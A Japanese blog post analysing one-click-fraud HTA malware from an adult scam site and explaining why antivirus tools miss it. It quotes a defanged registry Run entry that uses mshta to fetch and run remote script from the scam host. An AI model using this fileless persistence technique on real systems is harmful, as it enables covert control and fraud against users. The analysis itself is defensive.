何かたまたま通りがかったセキュリティソフトavast!（アバスト）の公式フォーラムにこんな投稿が。。。 イメージ 1


はじめましてワンクリックウェアなどの送信しています物です。
hXXp://www.anteater-movies.com/

File name 「29ce.hta」
hXXp://www.virustotal.com/file-scan/report.html?id=d9c1a6bb2e101ef536bf73e7461fc791344260a7024b2d082f52d4143e128f20-1319292870

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [www.high-quality-movie.com] mshta hXXp://www.anteater-movies.com/regist2.php

送信しても対応しません。カスペ以外対応しません。次の日アクセスすると4桁が変わってます
また送信しても反応しません

ADULTは週ごとに新しいurlが生まれます。

　このワンクリック詐欺サイト「ADULT」で配信されてるウイルス（ワンクリウェア）は、唯一Kaspersky（Trojan-Downloader.HTA.Agent.bu）しか検出できないそうで。どーれどれとHTAファイルのウイルス検体をさっそくGet！してきて中身を覗いてみると・・・


　ん～、少なくともこのファイルそのものにはまったく不正な処理が存在しません。これじゃセキュリティ会社が検出に対応しないのも無理はない。 イメージ 2

■ それでもレジストリが改竄されてしまう理由
　実行を促される最初のHTAファイルは必ずしも有害とは言いがたいシロモノですが、結局はレジストリが改竄されてしまうのは4行目に記述されてるURLアドレスの先に不正な処理が存在するからなんですな。


　反転させてあるところが不正な処理といえる部分。ところが、困ったことにこの不正な処理を作業しちゃうのがWindowsのシステムに存在する正規ファイル「mshta.exe」。謎のプログラムがレジストリの改ざんを行おうものなら、おかしい挙動があったと警告を出すセキュリティソフトもあるでしょうが・・・。 イメージ 3

■ 感染後にセキュリティソフトがまったく役に立たない理由
　これはウイルスとしての”ファイルの実体”がまったく存在しないんですね。「mshta.exe」は正規ファイルなのでウイルスではありません。セキュリティソフトでスキャンをしてもウイルスと言えるような不正なファイルが存在しないので駆除する場面すら起こりようがないわけです。 イメージ 4